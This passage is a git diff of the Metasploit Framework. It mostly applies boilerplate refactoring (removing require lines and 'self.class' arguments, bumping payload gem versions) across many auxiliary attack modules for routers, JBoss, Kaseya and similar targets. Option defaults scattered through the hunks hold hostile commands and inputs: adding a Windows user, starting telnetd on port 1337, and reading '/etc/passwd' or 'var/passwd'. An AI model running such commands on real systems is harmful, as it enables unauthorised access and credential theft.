'Auth', 'Type', 'Shared Key' + ] + ) + + print_line + r[:profiles].each do |p| + table << [p[:name], p[:auth], p[:key_type] || 'Unknown', p[:shared_key]] + end + + print_line(table.to_s) + print_line("State: #{r[:state] || 'Unknown'}") + end + end + + def check_is_domain_user(msg='Running as SYSTEM, function will not work.') if client.sys.config.is_system? print_warning(msg) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb index e6d194a3eb..5fd824d90e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb @@ -58,7 +58,7 @@ class Console::CommandDispatcher::Stdapi::Net '-r' => [true, 'Forward: remote host to connect to.'], '-p' => [true, 'Forward: remote port to connect to. Reverse: remote port to listen on.'], '-R' => [false, 'Indicates a reverse port forward.'], - '-L' => [true, 'Forward: local host to listen on (optional). Remote: local host to connect to.']) + '-L' => [true, 'Forward: local host to listen on (optional). Reverse: local host to connect to.']) # # Options for the netstat command. diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index b72f48153b..6eec1563d8 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,9 +65,9 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.2.24' + spec.add_runtime_dependency 'metasploit-payloads', '1.2.28' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.8' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.9' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. @@ -77,7 +77,7 @@ Gem::Specification.new do |spec| # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture - spec.add_runtime_dependency 'packetfu', '1.1.13.pre' + spec.add_runtime_dependency 'packetfu' # For sniffer and raw socket modules spec.add_runtime_dependency 'pcaprub' # Needed for module caching in Mdm::ModuleDetails diff --git a/modules/auxiliary/admin/2wire/xslt_password_reset.rb b/modules/auxiliary/admin/2wire/xslt_password_reset.rb index 22b3306bdf..fc1dab5471 100644 --- a/modules/auxiliary/admin/2wire/xslt_password_reset.rb +++ b/modules/auxiliary/admin/2wire/xslt_password_reset.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb index a240380762..32333c8fcb 100644 --- a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb +++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('HIDE_IFRAME', [ true, "Hide the exploit iframe from the user", true ]) - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/auxiliary/admin/appletv/appletv_display_image.rb b/modules/auxiliary/admin/appletv/appletv_display_image.rb index 4531180572..1a01e435cc 100644 --- a/modules/auxiliary/admin/appletv/appletv_display_image.rb +++ b/modules/auxiliary/admin/appletv/appletv_display_image.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('TIME', [true, 'Time in seconds to show the image', 10]), OptPath.new('FILE', [true, 'Image to upload and show']), OptString.new('HttpPassword', [false, 'The password for AppleTV AirPlay']) - ], self.class) + ]) # We're not actually using any of these against AppleTV in our Rex HTTP client init, # so deregister them so we don't overwhelm the user with fake options. diff --git a/modules/auxiliary/admin/appletv/appletv_display_video.rb b/modules/auxiliary/admin/appletv/appletv_display_video.rb index 5841c55961..0ad137f54b 100644 --- a/modules/auxiliary/admin/appletv/appletv_display_video.rb +++ b/modules/auxiliary/admin/appletv/appletv_display_video.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'uri' class MetasploitModule < Msf::Auxiliary @@ -42,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('TIME', [true, 'Time in seconds to show the video', 60]), OptString.new('URL', [true, 'URL of video to show. Must use an IP address']), OptString.new('HttpPassword', [false, 'The password for AppleTV AirPlay']) - ], self.class) + ]) # We're not actually using any of these against AppleTV in our Rex HTTP client init, # so deregister them so we don't overwhelm the user with fake options. diff --git a/modules/auxiliary/admin/atg/atg_client.rb b/modules/auxiliary/admin/atg/atg_client.rb index fec8f8a2a9..6a7bf5b7ab 100644 --- a/modules/auxiliary/admin/atg/atg_client.rb +++ b/modules/auxiliary/admin/atg/atg_client.rb @@ -4,8 +4,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/aws/aws_launch_instances.rb b/modules/auxiliary/admin/aws/aws_launch_instances.rb index 1ef3b81678..ff754b5fbe 100644 --- a/modules/auxiliary/admin/aws/aws_launch_instances.rb +++ b/modules/auxiliary/admin/aws/aws_launch_instances.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/aws/client' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/admin/backupexec/dump.rb b/modules/auxiliary/admin/backupexec/dump.rb index 2348397fe4..9656a1ac9b 100644 --- a/modules/auxiliary/admin/backupexec/dump.rb +++ b/modules/auxiliary/admin/backupexec/dump.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(10000), - OptAddress.new('LHOST', + OptAddressLocal.new('LHOST', [ false, "The local IP address to accept the data connection" @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Auxiliary "backupexec_dump.mtf" ] ), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/backupexec/registry.rb b/modules/auxiliary/admin/backupexec/registry.rb index 291932af6a..caac39d392 100644 --- a/modules/auxiliary/admin/backupexec/registry.rb +++ b/modules/auxiliary/admin/backupexec/registry.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary "Compromised by Metasploit!\r\n" ] ), - ], self.class) + ]) end def auxiliary_commands diff --git a/modules/auxiliary/admin/chromecast/chromecast_reset.rb b/modules/auxiliary/admin/chromecast/chromecast_reset.rb index 7430ad61fb..922129d8cd 100644 --- a/modules/auxiliary/admin/chromecast/chromecast_reset.rb +++ b/modules/auxiliary/admin/chromecast/chromecast_reset.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(8008) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb index e11ac04cc8..50ac7f2490 100644 --- a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb +++ b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(8008), OptString.new('VID', [true, 'Video ID', 'kxopViU98Xo']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb b/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb index 003e1e4d66..a471314ca7 100644 --- a/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb +++ b/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb @@ -2,8 +2,6 @@ # auxiliary/admin/cisco/cisco_asa_extrabacon.rb ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptEnum.new('ASAVER', [ false, 'Target ASA version (default autodetect)', 'auto', ['auto']+@offsets.keys]), - ], self.class) + ]) deregister_options("VERSION") datastore['VERSION'] = '2c' # SNMP v. 2c required it seems diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index 2f574d8494..46327417b0 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, 'Username to use', '']), OptString.new('PASSWORD', [true, 'Password to use', '']), OptBool.new('SSL', [true, 'Use SSL', true]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb index 43b4479c0b..1e288725e9 100644 --- a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb +++ b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(21), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/db2/db2rcmd.rb b/modules/auxiliary/admin/db2/db2rcmd.rb index c712a12ebf..de8038993d 100644 --- a/modules/auxiliary/admin/db2/db2rcmd.rb +++ b/modules/auxiliary/admin/db2/db2rcmd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CMD', [ true, 'The command to execute', 'ver']), OptString.new('SMBUser', [ true, 'The username to authenticate as', 'db2admin']), OptString.new('SMBPass', [ true, 'The password for the specified username', 'db2admin']) - ], self.class ) + ]) end def run diff --git a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb index f6dc37ff67..ceb3743c35 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(8030), OptBool.new('SSL', [true, 'Use SSL', true]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb index 462536d3ff..476163ba08 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -104,7 +102,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8028), OptString.new("PARAM", [false, 'Specify a parameter for the action']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb index df41d4d671..81d2daef23 100644 --- a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb +++ b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(3000), OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb index 881f0d5e75..4c7f19caea 100644 --- a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb +++ b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(3500), OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > metasploit.txt']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/firetv/firetv_youtube.rb b/modules/auxiliary/admin/firetv/firetv_youtube.rb index fa431118b3..044d7d60f7 100644 --- a/modules/auxiliary/admin/firetv/firetv_youtube.rb +++ b/modules/auxiliary/admin/firetv/firetv_youtube.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb index 0b1ef1ba24..72a9e7ea26 100644 --- a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb +++ b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(5555), OptString.new("CMD", [true, 'File to execute', 'Windows\System32\calc.exe']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb index 272e9f4d82..bca32fac5a 100644 --- a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb +++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('USERNAME', [true, 'Username for the new account', 'msf']), OptString.new('PASSWORD', [true, 'Password for the new account', 'p4ssw0rd']) - ], self.class) + ]) end def get_service_desk_strong_name diff --git a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb index 1bed95dd56..d375fd2119 100644 --- a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb +++ b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb index 035c3ae179..95308820f9 100644 --- a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb +++ b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -87,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary "A URL to inject into a script tag in the context of the device web interface.", '' ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/axigen_file_access.rb b/modules/auxiliary/admin/http/axigen_file_access.rb index 7a08a1366d..eef2160394 100644 --- a/modules/auxiliary/admin/http/axigen_file_access.rb +++ b/modules/auxiliary/admin/http/axigen_file_access.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]), OptString.new('PATH', [ true, 'The file to read or delete', "\\windows\\win.ini" ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb index 29706ecd39..740235cf46 100644 --- a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb +++ b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'bcrypt' require 'digest' require 'openssl' diff --git a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb index a61bc6e376..8b0fb8f8fc 100644 --- a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb +++ b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']), OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index c69c44eb88..a4caacd056 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(80), OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index d47959957a..f385f88a5d 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index b1870cd699..270cd3e769 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb index b4f8b16898..281e7dfe9d 100644 --- a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb +++ b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb index 0889e7a690..7e0256feb1 100644 --- a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb +++ b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('CMD', [ false, "The command to execute.", "net user metasploit password /add" ]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb index 2cf37c785d..3715a328b6 100644 --- a/modules/auxiliary/admin/http/iis_auth_bypass.rb +++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new("TARGETURI", [true, 'The URI directory where basic auth is enabled', '/']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 18de11b8c8..a83269157c 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [ true, "The request URI", '/']), OptString.new('PASSWORD', [true, 'The password to set', 'pass']) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb index 1553569111..961152c17b 100644 --- a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb +++ b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('SID_MAX', [true, 'Maximum Session ID', 100]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/jboss_bshdeployer.rb b/modules/auxiliary/admin/http/jboss_bshdeployer.rb index 0dfad0849f..3bac14ae4f 100644 --- a/modules/auxiliary/admin/http/jboss_bshdeployer.rb +++ b/modules/auxiliary/admin/http/jboss_bshdeployer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::JBoss @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('APPBASE', [ true, 'Application base name', 'payload']), OptPath.new('WARFILE', [ false, 'The WAR file to deploy']) - ], self.class) + ]) end def deploy_action(app_base, war_data) diff --git a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb index 03f6ee6c75..1ad9208c91 100644 --- a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb +++ b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::JBoss @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('APPBASE', [ true, 'Application base name', 'payload']), OptPath.new('WARFILE', [ false, 'The WAR file to deploy']) - ], self.class) + ]) end def deploy_action(app_base, war_data) diff --git a/modules/auxiliary/admin/http/jboss_seam_exec.rb b/modules/auxiliary/admin/http/jboss_seam_exec.rb index dc8ab507f2..6dac16b3c0 100644 --- a/modules/auxiliary/admin/http/jboss_seam_exec.rb +++ b/modules/auxiliary/admin/http/jboss_seam_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']), OptString.new('CMD', [ true, "The command to execute."]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/kaseya_master_admin.rb b/modules/auxiliary/admin/http/kaseya_master_admin.rb index 27758ccaf5..97e8999d98 100644 --- a/modules/auxiliary/admin/http/kaseya_master_admin.rb +++ b/modules/auxiliary/admin/http/kaseya_master_admin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']), OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb index 77d4c9095a..168ce3c5eb 100644 --- a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb +++ b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/limesurvey_file_download.rb b/modules/auxiliary/admin/http/limesurvey_file_download.rb index 2dc0009268..6036dcf3ef 100644 --- a/modules/auxiliary/admin/http/limesurvey_file_download.rb +++ b/modules/auxiliary/admin/http/limesurvey_file_download.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - # for extracting files require 'zip' @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, "The base path to the limesurvey installation", '/']), OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']), OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15]) - ], self.class) + ]) end def filepath diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb index eabe39c493..e858f3e090 100644 --- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb +++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpUsername',[ true, 'User to login with', 'admin']), OptString.new('HttpPassword',[ true, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb index 9aaf2112f8..f7d1237aac 100644 --- a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb +++ b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index befc6193cb..07394cf3e4 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -50,7 +48,7 @@ class 